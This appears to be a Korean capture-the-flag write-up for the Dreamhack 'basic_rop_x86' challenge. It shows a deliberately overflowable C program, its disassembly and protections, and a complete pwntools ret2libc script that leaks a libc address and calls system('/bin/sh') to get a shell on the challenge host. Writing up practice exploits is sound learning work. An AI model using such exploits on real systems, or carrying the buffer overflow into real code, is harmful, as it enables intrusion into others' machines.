code
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
checksec
결과
- 32bit 프로그램
- Partial RELRO, NX enabled
gdb
결과
pwndbg> disass main
Dump of assembler code for function main:
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: push edi
0x080485dd <+4>: sub esp,0x40
0x080485e0 <+7>: lea edx,[ebp-0x44]
0x080485e3 <+10>: mov eax,0x0
0x080485e8 <+15>: mov ecx,0x10
0x080485ed <+20>: mov edi,edx
0x080485ef <+22>: rep stos DWORD PTR es:[edi],eax
0x080485f1 <+24>: call 0x8048592 <initialize>
0x080485f6 <+29>: push 0x400
0x080485fb <+34>: lea eax,[ebp-0x44]
0x080485fe <+37>: push eax
0x080485ff <+38>: push 0x0
0x08048601 <+40>: call 0x80483f0 <read@plt>
0x08048606 <+45>: add esp,0xc
0x08048609 <+48>: push 0x40
0x0804860b <+50>: lea eax,[ebp-0x44]
0x0804860e <+53>: push eax
0x0804860f <+54>: push 0x1
0x08048611 <+56>: call 0x8048450 <write@plt>
0x08048616 <+61>: add esp,0xc
0x08048619 <+64>: mov eax,0x0
0x0804861e <+69>: mov edi,DWORD PTR [ebp-0x4]
0x08048621 <+72>: leave
0x08048622 <+73>: ret
End of assembler dump.
- buf:
[ebp-0x44]
- SFP:
[ebp]
- RET:
[ebp+0x4]
exploit
- NX 보호기법이 켜져있고, Partial RELRO도 있지만 PIE는 꺼져있으므로
ret2main
을 이용하자
puts(read_got) + main
을 payload의 ret
부분에 덮는다.
read
주소를 알아내서 libc base
를 찾고 main
으로 돌아온다.
system
함수와 library에 있는 "/bin/sh"를 찾는다.
- 다시 buf의
ret
을 덮어서 system("/bin/sh");
를 실행한다.
from pwn import *
p = remote('host3.dreamhack.games', 10286)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
puts_plt = e.plt['puts']
read_got = e.got['read']
main = e.symbols['main']
pop = 0x0804868b
ret = 0x080483ce
payload = b'A' * 0x48 #buf+SFP
payload += p32(puts_plt) + p32(pop) + p32(read_got) # puts(read_got);
payload += p32(main) # main
p.send(payload)
p.recvn(0x40)
read = u32(p.recvuntil(b'\xf7')[-4:])
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
binsh = lb + list(libc.search(b'/bin/sh'))[0]
buf = b'A' * 0x48 # buf+SFP
buf += p32(system) + p32(pop) + p32(binsh) # RET
p.send(buf)
p.interactive()